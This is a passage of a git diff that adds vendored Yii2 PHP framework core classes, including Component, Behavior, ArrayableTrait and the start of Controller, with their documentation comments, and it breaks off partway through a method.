$this->get('cache', false); + } + + /** + * Returns the formatter component. + * @return \yii\i18n\Formatter the formatter application component. + */ + public function getFormatter() + { + return $this->get('formatter'); + } + + /** + * Returns the request component. + * @return \yii\web\Request|\yii\console\Request the request component. + */ + public function getRequest() + { + return $this->get('request'); + } + + /** + * Returns the response component. + * @return \yii\web\Response|\yii\console\Response the response component. + */ + public function getResponse() + { + return $this->get('response'); + } + + /** + * Returns the view object. + * @return View|\yii\web\View the view application component that is used to render various view files. + */ + public function getView() + { + return $this->get('view'); + } + + /** + * Returns the URL manager for this application. + * @return \yii\web\UrlManager the URL manager for this application. + */ + public function getUrlManager() + { + return $this->get('urlManager'); + } + + /** + * Returns the internationalization (i18n) component + * @return \yii\i18n\I18N the internationalization application component. + */ + public function getI18n() + { + return $this->get('i18n'); + } + + /** + * Returns the mailer component. + * @return \yii\mail\MailerInterface the mailer application component. + */ + public function getMailer() + { + return $this->get('mailer'); + } + + /** + * Returns the auth manager for this application. + * @return \yii\rbac\ManagerInterface the auth manager application component. + * Null is returned if auth manager is not configured. + */ + public function getAuthManager() + { + return $this->get('authManager', false); + } + + /** + * Returns the asset manager. + * @return \yii\web\AssetManager the asset manager application component. + */ + public function getAssetManager() + { + return $this->get('assetManager'); + } + + /** + * Returns the security component. + * @return \yii\base\Security the security application component. + */ + public function getSecurity() + { + return $this->get('security'); + } + + /** + * Returns the configuration of core application components. + * @see set() + */ + public function coreComponents() + { + return [ + 'log' => ['class' => 'yii\log\Dispatcher'], + 'view' => ['class' => 'yii\web\View'], + 'formatter' => ['class' => 'yii\i18n\Formatter'], + 'i18n' => ['class' => 'yii\i18n\I18N'], + 'mailer' => ['class' => 'yii\swiftmailer\Mailer'], + 'urlManager' => ['class' => 'yii\web\UrlManager'], + 'assetManager' => ['class' => 'yii\web\AssetManager'], + 'security' => ['class' => 'yii\base\Security'], + ]; + } + + /** + * Terminates the application. + * This method replaces the `exit()` function by ensuring the application life cycle is completed + * before terminating the application. + * @param integer $status the exit status (value 0 means normal exit while other values mean abnormal exit). + * @param Response $response the response to be sent. If not set, the default application [[response]] component will be used. + * @throws ExitException if the application is in testing mode + */ + public function end($status = 0, $response = null) + { + if ($this->state === self::STATE_BEFORE_REQUEST || $this->state === self::STATE_HANDLING_REQUEST) { + $this->state = self::STATE_AFTER_REQUEST; + $this->trigger(self::EVENT_AFTER_REQUEST); + } + + if ($this->state !== self::STATE_SENDING_RESPONSE && $this->state !== self::STATE_END) { + $this->state = self::STATE_END; + $response = $response ? : $this->getResponse(); + $response->send(); + } + + if (YII_ENV_TEST) { + throw new ExitException($status); + } else { + exit($status); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ArrayAccessTrait.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ArrayAccessTrait.php new file mode 100644 index 00000000..df1ab603 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ArrayAccessTrait.php @@ -0,0 +1,82 @@ + + * @since 2.0 + */ +trait ArrayAccessTrait +{ + /** + * Returns an iterator for traversing the data. + * This method is required by the SPL interface `IteratorAggregate`. + * It will be implicitly called when you use `foreach` to traverse the collection. + * @return \ArrayIterator an iterator for traversing the cookies in the collection. + */ + public function getIterator() + { + return new \ArrayIterator($this->data); + } + + /** + * Returns the number of data items. + * This method is required by Countable interface. + * @return integer number of data elements. + */ + public function count() + { + return count($this->data); + } + + /** + * This method is required by the interface ArrayAccess. + * @param mixed $offset the offset to check on + * @return boolean + */ + public function offsetExists($offset) + { + return isset($this->data[$offset]); + } + + /** + * This method is required by the interface ArrayAccess. + * @param integer $offset the offset to retrieve element. + * @return mixed the element at the offset, null if no element is found at the offset + */ + public function offsetGet($offset) + { + return isset($this->data[$offset]) ? $this->data[$offset] : null; + } + + /** + * This method is required by the interface ArrayAccess. + * @param integer $offset the offset to set element + * @param mixed $item the element value + */ + public function offsetSet($offset, $item) + { + $this->data[$offset] = $item; + } + + /** + * This method is required by the interface ArrayAccess. + * @param mixed $offset the offset to unset element + */ + public function offsetUnset($offset) + { + unset($this->data[$offset]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Arrayable.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Arrayable.php new file mode 100644 index 00000000..3acc41f5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Arrayable.php @@ -0,0 +1,90 @@ + + * @since 2.0 + */ +interface Arrayable +{ + /** + * Returns the list of fields that should be returned by default by [[toArray()]] when no specific fields are specified. + * + * A field is a named element in the returned array by [[toArray()]]. + * + * This method should return an array of field names or field definitions. + * If the former, the field name will be treated as an object property name whose value will be used + * as the field value. If the latter, the array key should be the field name while the array value should be + * the corresponding field definition which can be either an object property name or a PHP callable + * returning the corresponding field value. The signature of the callable should be: + * + * ```php + * function ($field, $model) { + * // return field value + * } + * ``` + * + * For example, the following code declares four fields: + * + * - `email`: the field name is the same as the property name `email`; + * - `firstName` and `lastName`: the field names are `firstName` and `lastName`, and their + * values are obtained from the `first_name` and `last_name` properties; + * - `fullName`: the field name is `fullName`. Its value is obtained by concatenating `first_name` + * and `last_name`. + * + * ```php + * return [ + * 'email', + * 'firstName' => 'first_name', + * 'lastName' => 'last_name', + * 'fullName' => function () { + * return $this->first_name . ' ' . $this->last_name; + * }, + * ]; + * ``` + * + * @return array the list of field names or field definitions. + * @see toArray() + */ + public function fields(); + /** + * Returns the list of additional fields that can be returned by [[toArray()]] in addition to those listed in [[fields()]]. + * + * This method is similar to [[fields()]] except that the list of fields declared + * by this method are not returned by default by [[toArray()]]. Only when a field in the list + * is explicitly requested, will it be included in the result of [[toArray()]]. + * + * @return array the list of expandable field names or field definitions. Please refer + * to [[fields()]] on the format of the return value. + * @see toArray() + * @see fields() + */ + public function extraFields(); + /** + * Converts the object into an array. + * + * @param array $fields the fields that the output array should contain. Fields not specified + * in [[fields()]] will be ignored. If this parameter is empty, all fields as specified in [[fields()]] will be returned. + * @param array $expand the additional fields that the output array should contain. + * Fields not specified in [[extraFields()]] will be ignored. If this parameter is empty, no extra fields + * will be returned. + * @param boolean $recursive whether to recursively return array representation of embedded objects. + * @return array the array representation of the object + */ + public function toArray(array $fields = [], array $expand = [], $recursive = true); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ArrayableTrait.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ArrayableTrait.php new file mode 100644 index 00000000..8b17323c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ArrayableTrait.php @@ -0,0 +1,167 @@ + + * @since 2.0 + */ +trait ArrayableTrait +{ + /** + * Returns the list of fields that should be returned by default by [[toArray()]] when no specific fields are specified. + * + * A field is a named element in the returned array by [[toArray()]]. + * + * This method should return an array of field names or field definitions. + * If the former, the field name will be treated as an object property name whose value will be used + * as the field value. If the latter, the array key should be the field name while the array value should be + * the corresponding field definition which can be either an object property name or a PHP callable + * returning the corresponding field value. The signature of the callable should be: + * + * ```php + * function ($model, $field) { + * // return field value + * } + * ``` + * + * For example, the following code declares four fields: + * + * - `email`: the field name is the same as the property name `email`; + * - `firstName` and `lastName`: the field names are `firstName` and `lastName`, and their + * values are obtained from the `first_name` and `last_name` properties; + * - `fullName`: the field name is `fullName`. Its value is obtained by concatenating `first_name` + * and `last_name`. + * + * ```php + * return [ + * 'email', + * 'firstName' => 'first_name', + * 'lastName' => 'last_name', + * 'fullName' => function () { + * return $this->first_name . ' ' . $this->last_name; + * }, + * ]; + * ``` + * + * In this method, you may also want to return different lists of fields based on some context + * information. For example, depending on the privilege of the current application user, + * you may return different sets of visible fields or filter out some fields. + * + * The default implementation of this method returns the public object member variables indexed by themselves. + * + * @return array the list of field names or field definitions. + * @see toArray() + */ + public function fields() + { + $fields = array_keys(Yii::getObjectVars($this)); + return array_combine($fields, $fields); + } + + /** + * Returns the list of fields that can be expanded further and returned by [[toArray()]]. + * + * This method is similar to [[fields()]] except that the list of fields returned + * by this method are not returned by default by [[toArray()]]. Only when field names + * to be expanded are explicitly specified when calling [[toArray()]], will their values + * be exported. + * + * The default implementation returns an empty array. + * + * You may override this method to return a list of expandable fields based on some context information + * (e.g. the current application user). + * + * @return array the list of expandable field names or field definitions. Please refer + * to [[fields()]] on the format of the return value. + * @see toArray() + * @see fields() + */ + public function extraFields() + { + return []; + } + + /** + * Converts the model into an array. + * + * This method will first identify which fields to be included in the resulting array by calling [[resolveFields()]]. + * It will then turn the model into an array with these fields. If `$recursive` is true, + * any embedded objects will also be converted into arrays. + * + * If the model implements the [[Linkable]] interface, the resulting array will also have a `_link` element + * which refers to a list of links as specified by the interface. + * + * @param array $fields the fields being requested. If empty, all fields as specified by [[fields()]] will be returned. + * @param array $expand the additional fields being requested for exporting. Only fields declared in [[extraFields()]] + * will be considered. + * @param boolean $recursive whether to recursively return array representation of embedded objects. + * @return array the array representation of the object + */ + public function toArray(array $fields = [], array $expand = [], $recursive = true) + { + $data = []; + foreach ($this->resolveFields($fields, $expand) as $field => $definition) { + $data[$field] = is_string($definition) ? $this->$definition : call_user_func($definition, $this, $field); + } + + if ($this instanceof Linkable) { + $data['_links'] = Link::serialize($this->getLinks()); + } + + return $recursive ? ArrayHelper::toArray($data) : $data; + } + + /** + * Determines which fields can be returned by [[toArray()]]. + * This method will check the requested fields against those declared in [[fields()]] and [[extraFields()]] + * to determine which fields can be returned. + * @param array $fields the fields being requested for exporting + * @param array $expand the additional fields being requested for exporting + * @return array the list of fields to be exported. The array keys are the field names, and the array values + * are the corresponding object property names or PHP callables returning the field values. + */ + protected function resolveFields(array $fields, array $expand) + { + $result = []; + + foreach ($this->fields() as $field => $definition) { + if (is_integer($field)) { + $field = $definition; + } + if (empty($fields) || in_array($field, $fields, true)) { + $result[$field] = $definition; + } + } + + if (empty($expand)) { + return $result; + } + + foreach ($this->extraFields() as $field => $definition) { + if (is_integer($field)) { + $field = $definition; + } + if (in_array($field, $expand, true)) { + $result[$field] = $definition; + } + } + + return $result; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Behavior.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Behavior.php new file mode 100644 index 00000000..5750586b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Behavior.php @@ -0,0 +1,92 @@ + + * @since 2.0 + */ +class Behavior extends Object +{ + /** + * @var Component the owner of this behavior + */ + public $owner; + + + /** + * Declares event handlers for the [[owner]]'s events. + * + * Child classes may override this method to declare what PHP callbacks should + * be attached to the events of the [[owner]] component. + * + * The callbacks will be attached to the [[owner]]'s events when the behavior is + * attached to the owner; and they will be detached from the events when + * the behavior is detached from the component. + * + * The callbacks can be any of the followings: + * + * - method in this behavior: `'handleClick'`, equivalent to `[$this, 'handleClick']` + * - object method: `[$object, 'handleClick']` + * - static method: `['Page', 'handleClick']` + * - anonymous function: `function ($event) { ... }` + * + * The following is an example: + * + * ~~~ + * [ + * Model::EVENT_BEFORE_VALIDATE => 'myBeforeValidate', + * Model::EVENT_AFTER_VALIDATE => 'myAfterValidate', + * ] + * ~~~ + * + * @return array events (array keys) and the corresponding event handler methods (array values). + */ + public function events() + { + return []; + } + + /** + * Attaches the behavior object to the component. + * The default implementation will set the [[owner]] property + * and attach event handlers as declared in [[events]]. + * Make sure you call the parent implementation if you override this method. + * @param Component $owner the component that this behavior is to be attached to. + */ + public function attach($owner) + { + $this->owner = $owner; + foreach ($this->events() as $event => $handler) { + $owner->on($event, is_string($handler) ? [$this, $handler] : $handler); + } + } + + /** + * Detaches the behavior object from the component. + * The default implementation will unset the [[owner]] property + * and detach event handlers declared in [[events]]. + * Make sure you call the parent implementation if you override this method. + */ + public function detach() + { + if ($this->owner) { + foreach ($this->events() as $event => $handler) { + $this->owner->off($event, is_string($handler) ? [$this, $handler] : $handler); + } + $this->owner = null; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/BootstrapInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/base/BootstrapInterface.php new file mode 100644 index 00000000..9b6d833a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/BootstrapInterface.php @@ -0,0 +1,60 @@ + [ + * "path\\to\\MyBootstrapClass1", + * [ + * 'class' => "path\\to\\MyBootstrapClass2", + * 'prop1' => 'value1', + * 'prop2' => 'value2', + * ], + * ], + * ]; + * ``` + * + * As you can see, you can register a bootstrapping class in terms of either a class name or a configuration class. + * + * @author Qiang Xue + * @since 2.0 + */ +interface BootstrapInterface +{ + /** + * Bootstrap method to be called during application bootstrap stage. + * @param Application $app the application currently running + */ + public function bootstrap($app); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Component.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Component.php new file mode 100644 index 00000000..72ea35c2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Component.php @@ -0,0 +1,674 @@ +on('update', function ($event) { + * // send email notification + * }); + * ~~~ + * + * In the above, an anonymous function is attached to the "update" event of the post. You may attach + * the following types of event handlers: + * + * - anonymous function: `function ($event) { ... }` + * - object method: `[$object, 'handleAdd']` + * - static class method: `['Page', 'handleAdd']` + * - global function: `'handleAdd'` + * + * The signature of an event handler should be like the following: + * + * ~~~ + * function foo($event) + * ~~~ + * + * where `$event` is an [[Event]] object which includes parameters associated with the event. + * + * You can also attach a handler to an event when configuring a component with a configuration array. + * The syntax is like the following: + * + * ~~~ + * [ + * 'on add' => function ($event) { ... } + * ] + * ~~~ + * + * where `on add` stands for attaching an event to the `add` event. + * + * Sometimes, you may want to associate extra data with an event handler when you attach it to an event + * and then access it when the handler is invoked. You may do so by + * + * ~~~ + * $post->on('update', function ($event) { + * // the data can be accessed via $event->data + * }, $data); + * ~~~ + * + * A behavior is an instance of [[Behavior]] or its child class. A component can be attached with one or multiple + * behaviors. When a behavior is attached to a component, its public properties and methods can be accessed via the + * component directly, as if the component owns those properties and methods. + * + * To attach a behavior to a component, declare it in [[behaviors()]], or explicitly call [[attachBehavior]]. Behaviors + * declared in [[behaviors()]] are automatically attached to the corresponding component. + * + * One can also attach a behavior to a component when configuring it with a configuration array. The syntax is like the + * following: + * + * ~~~ + * [ + * 'as tree' => [ + * 'class' => 'Tree', + * ], + * ] + * ~~~ + * + * where `as tree` stands for attaching a behavior named `tree`, and the array will be passed to [[\Yii::createObject()]] + * to create the behavior object. + * + * @property Behavior[] $behaviors List of behaviors attached to this component. This property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class Component extends Object +{ + /** + * @var array the attached event handlers (event name => handlers) + */ + private $_events = []; + /** + * @var Behavior[]|null the attached behaviors (behavior name => behavior). This is `null` when not initialized. + */ + private $_behaviors; + + + /** + * Returns the value of a component property. + * This method will check in the following order and act accordingly: + * + * - a property defined by a getter: return the getter result + * - a property of a behavior: return the behavior property value + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when executing `$value = $component->property;`. + * @param string $name the property name + * @return mixed the property value or the value of a behavior's property + * @throws UnknownPropertyException if the property is not defined + * @throws InvalidCallException if the property is write-only. + * @see __set() + */ + public function __get($name) + { + $getter = 'get' . $name; + if (method_exists($this, $getter)) { + // read property, e.g. getName() + return $this->$getter(); + } else { + // behavior property + $this->ensureBehaviors(); + foreach ($this->_behaviors as $behavior) { + if ($behavior->canGetProperty($name)) { + return $behavior->$name; + } + } + } + if (method_exists($this, 'set' . $name)) { + throw new InvalidCallException('Getting write-only property: ' . get_class($this) . '::' . $name); + } else { + throw new UnknownPropertyException('Getting unknown property: ' . get_class($this) . '::' . $name); + } + } + + /** + * Sets the value of a component property. + * This method will check in the following order and act accordingly: + * + * - a property defined by a setter: set the property value + * - an event in the format of "on xyz": attach the handler to the event "xyz" + * - a behavior in the format of "as xyz": attach the behavior named as "xyz" + * - a property of a behavior: set the behavior property value + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when executing `$component->property = $value;`. + * @param string $name the property name or the event name + * @param mixed $value the property value + * @throws UnknownPropertyException if the property is not defined + * @throws InvalidCallException if the property is read-only. + * @see __get() + */ + public function __set($name, $value) + { + $setter = 'set' . $name; + if (method_exists($this, $setter)) { + // set property + $this->$setter($value); + + return; + } elseif (strncmp($name, 'on ', 3) === 0) { + // on event: attach event handler + $this->on(trim(substr($name, 3)), $value); + + return; + } elseif (strncmp($name, 'as ', 3) === 0) { + // as behavior: attach behavior + $name = trim(substr($name, 3)); + $this->attachBehavior($name, $value instanceof Behavior ? $value : Yii::createObject($value)); + + return; + } else { + // behavior property + $this->ensureBehaviors(); + foreach ($this->_behaviors as $behavior) { + if ($behavior->canSetProperty($name)) { + $behavior->$name = $value; + + return; + } + } + } + if (method_exists($this, 'get' . $name)) { + throw new InvalidCallException('Setting read-only property: ' . get_class($this) . '::' . $name); + } else { + throw new UnknownPropertyException('Setting unknown property: ' . get_class($this) . '::' . $name); + } + } + + /** + * Checks if a property value is null. + * This method will check in the following order and act accordingly: + * + * - a property defined by a setter: return whether the property value is null + * - a property of a behavior: return whether the property value is null + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when executing `isset($component->property)`. + * @param string $name the property name or the event name + * @return boolean whether the named property is null + */ + public function __isset($name) + { + $getter = 'get' . $name; + if (method_exists($this, $getter)) { + return $this->$getter() !== null; + } else { + // behavior property + $this->ensureBehaviors(); + foreach ($this->_behaviors as $behavior) { + if ($behavior->canGetProperty($name)) { + return $behavior->$name !== null; + } + } + } + return false; + } + + /** + * Sets a component property to be null. + * This method will check in the following order and act accordingly: + * + * - a property defined by a setter: set the property value to be null + * - a property of a behavior: set the property value to be null + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when executing `unset($component->property)`. + * @param string $name the property name + * @throws InvalidCallException if the property is read only. + */ + public function __unset($name) + { + $setter = 'set' . $name; + if (method_exists($this, $setter)) { + $this->$setter(null); + return; + } else { + // behavior property + $this->ensureBehaviors(); + foreach ($this->_behaviors as $behavior) { + if ($behavior->canSetProperty($name)) { + $behavior->$name = null; + return; + } + } + } + throw new InvalidCallException('Unsetting an unknown or read-only property: ' . get_class($this) . '::' . $name); + } + + /** + * Calls the named method which is not a class method. + * + * This method will check if any attached behavior has + * the named method and will execute it if available. + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when an unknown method is being invoked. + * @param string $name the method name + * @param array $params method parameters + * @return mixed the method return value + * @throws UnknownMethodException when calling unknown method + */ + public function __call($name, $params) + { + $this->ensureBehaviors(); + foreach ($this->_behaviors as $object) { + if ($object->hasMethod($name)) { + return call_user_func_array([$object, $name], $params); + } + } + throw new UnknownMethodException('Calling unknown method: ' . get_class($this) . "::$name()"); + } + + /** + * This method is called after the object is created by cloning an existing one. + * It removes all behaviors because they are attached to the old object. + */ + public function __clone() + { + $this->_events = []; + $this->_behaviors = null; + } + + /** + * Returns a value indicating whether a property is defined for this component. + * A property is defined if: + * + * - the class has a getter or setter method associated with the specified name + * (in this case, property name is case-insensitive); + * - the class has a member variable with the specified name (when `$checkVars` is true); + * - an attached behavior has a property of the given name (when `$checkBehaviors` is true). + * + * @param string $name the property name + * @param boolean $checkVars whether to treat member variables as properties + * @param boolean $checkBehaviors whether to treat behaviors' properties as properties of this component + * @return boolean whether the property is defined + * @see canGetProperty() + * @see canSetProperty() + */ + public function hasProperty($name, $checkVars = true, $checkBehaviors = true) + { + return $this->canGetProperty($name, $checkVars, $checkBehaviors) || $this->canSetProperty($name, false, $checkBehaviors); + } + + /** + * Returns a value indicating whether a property can be read. + * A property can be read if: + * + * - the class has a getter method associated with the specified name + * (in this case, property name is case-insensitive); + * - the class has a member variable with the specified name (when `$checkVars` is true); + * - an attached behavior has a readable property of the given name (when `$checkBehaviors` is true). + * + * @param string $name the property name + * @param boolean $checkVars whether to treat member variables as properties + * @param boolean $checkBehaviors whether to treat behaviors' properties as properties of this component + * @return boolean whether the property can be read + * @see canSetProperty() + */ + public function canGetProperty($name, $checkVars = true, $checkBehaviors = true) + { + if (method_exists($this, 'get' . $name) || $checkVars && property_exists($this, $name)) { + return true; + } elseif ($checkBehaviors) { + $this->ensureBehaviors(); + foreach ($this->_behaviors as $behavior) { + if ($behavior->canGetProperty($name, $checkVars)) { + return true; + } + } + } + return false; + } + + /** + * Returns a value indicating whether a property can be set. + * A property can be written if: + * + * - the class has a setter method associated with the specified name + * (in this case, property name is case-insensitive); + * - the class has a member variable with the specified name (when `$checkVars` is true); + * - an attached behavior has a writable property of the given name (when `$checkBehaviors` is true). + * + * @param string $name the property name + * @param boolean $checkVars whether to treat member variables as properties + * @param boolean $checkBehaviors whether to treat behaviors' properties as properties of this component + * @return boolean whether the property can be written + * @see canGetProperty() + */ + public function canSetProperty($name, $checkVars = true, $checkBehaviors = true) + { + if (method_exists($this, 'set' . $name) || $checkVars && property_exists($this, $name)) { + return true; + } elseif ($checkBehaviors) { + $this->ensureBehaviors(); + foreach ($this->_behaviors as $behavior) { + if ($behavior->canSetProperty($name, $checkVars)) { + return true; + } + } + } + return false; + } + + /** + * Returns a value indicating whether a method is defined. + * A method is defined if: + * + * - the class has a method with the specified name + * - an attached behavior has a method with the given name (when `$checkBehaviors` is true). + * + * @param string $name the property name + * @param boolean $checkBehaviors whether to treat behaviors' methods as methods of this component + * @return boolean whether the property is defined + */ + public function hasMethod($name, $checkBehaviors = true) + { + if (method_exists($this, $name)) { + return true; + } elseif ($checkBehaviors) { + $this->ensureBehaviors(); + foreach ($this->_behaviors as $behavior) { + if ($behavior->hasMethod($name)) { + return true; + } + } + } + return false; + } + + /** + * Returns a list of behaviors that this component should behave as. + * + * Child classes may override this method to specify the behaviors they want to behave as. + * + * The return value of this method should be an array of behavior objects or configurations + * indexed by behavior names. A behavior configuration can be either a string specifying + * the behavior class or an array of the following structure: + * + * ~~~ + * 'behaviorName' => [ + * 'class' => 'BehaviorClass', + * 'property1' => 'value1', + * 'property2' => 'value2', + * ] + * ~~~ + * + * Note that a behavior class must extend from [[Behavior]]. Behavior names can be strings + * or integers. If the former, they uniquely identify the behaviors. If the latter, the corresponding + * behaviors are anonymous and their properties and methods will NOT be made available via the component + * (however, the behaviors can still respond to the component's events). + * + * Behaviors declared in this method will be attached to the component automatically (on demand). + * + * @return array the behavior configurations. + */ + public function behaviors() + { + return []; + } + + /** + * Returns a value indicating whether there is any handler attached to the named event. + * @param string $name the event name + * @return boolean whether there is any handler attached to the event. + */ + public function hasEventHandlers($name) + { + $this->ensureBehaviors(); + return !empty($this->_events[$name]) || Event::hasHandlers($this, $name); + } + + /** + * Attaches an event handler to an event. + * + * The event handler must be a valid PHP callback. The followings are + * some examples: + * + * ~~~ + * function ($event) { ... } // anonymous function + * [$object, 'handleClick'] // $object->handleClick() + * ['Page', 'handleClick'] // Page::handleClick() + * 'handleClick' // global function handleClick() + * ~~~ + * + * The event handler must be defined with the following signature, + * + * ~~~ + * function ($event) + * ~~~ + * + * where `$event` is an [[Event]] object which includes parameters associated with the event. + * + * @param string $name the event name + * @param callable $handler the event handler + * @param mixed $data the data to be passed to the event handler when the event is triggered. + * When the event handler is invoked, this data can be accessed via [[Event::data]]. + * @param boolean $append whether to append new event handler to the end of the existing + * handler list. If false, the new handler will be inserted at the beginning of the existing + * handler list. + * @see off() + */ + public function on($name, $handler, $data = null, $append = true) + { + $this->ensureBehaviors(); + if ($append || empty($this->_events[$name])) { + $this->_events[$name][] = [$handler, $data]; + } else { + array_unshift($this->_events[$name], [$handler, $data]); + } + } + + /** + * Detaches an existing event handler from this component. + * This method is the opposite of [[on()]]. + * @param string $name event name + * @param callable $handler the event handler to be removed. + * If it is null, all handlers attached to the named event will be removed. + * @return boolean if a handler is found and detached + * @see on() + */ + public function off($name, $handler = null) + { + $this->ensureBehaviors(); + if (empty($this->_events[$name])) { + return false; + } + if ($handler === null) { + unset($this->_events[$name]); + return true; + } else { + $removed = false; + foreach ($this->_events[$name] as $i => $event) { + if ($event[0] === $handler) { + unset($this->_events[$name][$i]); + $removed = true; + } + } + if ($removed) { + $this->_events[$name] = array_values($this->_events[$name]); + } + return $removed; + } + } + + /** + * Triggers an event. + * This method represents the happening of an event. It invokes + * all attached handlers for the event including class-level handlers. + * @param string $name the event name + * @param Event $event the event parameter. If not set, a default [[Event]] object will be created. + */ + public function trigger($name, Event $event = null) + { + $this->ensureBehaviors(); + if (!empty($this->_events[$name])) { + if ($event === null) { + $event = new Event; + } + if ($event->sender === null) { + $event->sender = $this; + } + $event->handled = false; + $event->name = $name; + foreach ($this->_events[$name] as $handler) { + $event->data = $handler[1]; + call_user_func($handler[0], $event); + // stop further handling if the event is handled + if ($event->handled) { + return; + } + } + } + // invoke class-level attached handlers + Event::trigger($this, $name, $event); + } + + /** + * Returns the named behavior object. + * @param string $name the behavior name + * @return Behavior the behavior object, or null if the behavior does not exist + */ + public function getBehavior($name) + { + $this->ensureBehaviors(); + return isset($this->_behaviors[$name]) ? $this->_behaviors[$name] : null; + } + + /** + * Returns all behaviors attached to this component. + * @return Behavior[] list of behaviors attached to this component + */ + public function getBehaviors() + { + $this->ensureBehaviors(); + return $this->_behaviors; + } + + /** + * Attaches a behavior to this component. + * This method will create the behavior object based on the given + * configuration. After that, the behavior object will be attached to + * this component by calling the [[Behavior::attach()]] method. + * @param string $name the name of the behavior. + * @param string|array|Behavior $behavior the behavior configuration. This can be one of the following: + * + * - a [[Behavior]] object + * - a string specifying the behavior class + * - an object configuration array that will be passed to [[Yii::createObject()]] to create the behavior object. + * + * @return Behavior the behavior object + * @see detachBehavior() + */ + public function attachBehavior($name, $behavior) + { + $this->ensureBehaviors(); + return $this->attachBehaviorInternal($name, $behavior); + } + + /** + * Attaches a list of behaviors to the component. + * Each behavior is indexed by its name and should be a [[Behavior]] object, + * a string specifying the behavior class, or an configuration array for creating the behavior. + * @param array $behaviors list of behaviors to be attached to the component + * @see attachBehavior() + */ + public function attachBehaviors($behaviors) + { + $this->ensureBehaviors(); + foreach ($behaviors as $name => $behavior) { + $this->attachBehaviorInternal($name, $behavior); + } + } + + /** + * Detaches a behavior from the component. + * The behavior's [[Behavior::detach()]] method will be invoked. + * @param string $name the behavior's name. + * @return Behavior the detached behavior. Null if the behavior does not exist. + */ + public function detachBehavior($name) + { + $this->ensureBehaviors(); + if (isset($this->_behaviors[$name])) { + $behavior = $this->_behaviors[$name]; + unset($this->_behaviors[$name]); + $behavior->detach(); + return $behavior; + } else { + return null; + } + } + + /** + * Detaches all behaviors from the component. + */ + public function detachBehaviors() + { + $this->ensureBehaviors(); + foreach ($this->_behaviors as $name => $behavior) { + $this->detachBehavior($name); + } + } + + /** + * Makes sure that the behaviors declared in [[behaviors()]] are attached to this component. + */ + public function ensureBehaviors() + { + if ($this->_behaviors === null) { + $this->_behaviors = []; + foreach ($this->behaviors() as $name => $behavior) { + $this->attachBehaviorInternal($name, $behavior); + } + } + } + + /** + * Attaches a behavior to this component. + * @param string|integer $name the name of the behavior. If this is an integer, it means the behavior + * is an anonymous one. Otherwise, the behavior is a named one and any existing behavior with the same name + * will be detached first. + * @param string|array|Behavior $behavior the behavior to be attached + * @return Behavior the attached behavior. + */ + private function attachBehaviorInternal($name, $behavior) + { + if (!($behavior instanceof Behavior)) { + $behavior = Yii::createObject($behavior); + } + if (is_int($name)) { + $behavior->attach($this); + $this->_behaviors[] = $behavior; + } else { + if (isset($this->_behaviors[$name])) { + $this->_behaviors[$name]->detach(); + } + $behavior->attach($this); + $this->_behaviors[$name] = $behavior; + } + return $behavior; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Controller.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Controller.php new file mode 100644 index 00000000..b08fc66c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Controller.php @@ -0,0 +1,479 @@ + + * @since 2.0 + */ +class Controller extends Component implements ViewContextInterface +{ + /** + * @event ActionEvent an event raised right before executing a controller action. + * You may set [[ActionEvent::isValid]] to be false to cancel the action execution. + */ + const EVENT_BEFORE_ACTION = 'beforeAction'; + /** + * @event ActionEvent an event raised right after executing a controller action. + */ + const EVENT_AFTER_ACTION = 'afterAction'; + + /** + * @var string the ID of this controller. + */ + public $id; + /** + * @var Module $module the module that this controller belongs to. + */ + public $module; + /** + * @var string the ID of the action that is used when the action ID is not specified + * in the request. Defaults to 'index'. + */ + public $defaultAction = 'index'; + /** + * @var string|boolean the name of the layout to be applied to this controller's views. + * This property mainly affects the behavior of [[render()]]. + * Defaults to null, meaning the actual layout value should inherit that from [[module]]'s layout value. + * If false, no layout will be applied. + */ + public $layout; + /** + * @var Action the action that is currently being executed. This property will be set + * by [[run()]] when it is called by [[Application]] to run an action. + */ + public $action; + + /** + * @var View the view object that can be used to render views or view files. + */ + private $_view; + + + /** + * @param string $id the ID of this controller. + * @param Module $module the module that this controller belongs to. + * @param array $config name-value pairs that will be used to initialize the object properties. + */ + public function __construct($id, $module, $config = []) + { + $this->id = $id; + $this->module = $module; + parent::__construct($config); + } + + /** + * Declares external actions for the controller. + * This method is meant to be overwritten to declare external actions for the controller. + * It should return an array, with array keys being action IDs, and array values the corresponding + * action class names or action configuration arrays. For example, + * + * ~~~ + * return [ + * 'action1' => 'app\components\Action1', + * 'action2' => [ + * 'class' => 'app\components\Action2', + * 'property1' => 'value1', + * 'property2' => 'value2', + * ], + * ]; + * ~~~ + * + * [[\Yii::createObject()]] will be used later to create the requested action + * using the configuration provided here. + */ + public function actions() + { + return []; + } + + /** + * Runs an action within this controller with the specified action ID and parameters. + * If the action ID is empty, the method will use [[defaultAction]]. + * @param string $id the ID of the action to be executed. + * @param array $params the parameters (name-value pairs) to be passed to the action. + * @return mixed the result of the action. + * @throws InvalidRouteException if the requested action ID cannot be resolved into an action successfully. + * @see createAction() + */ + public function runAction($id, $params = []) + { + $action = 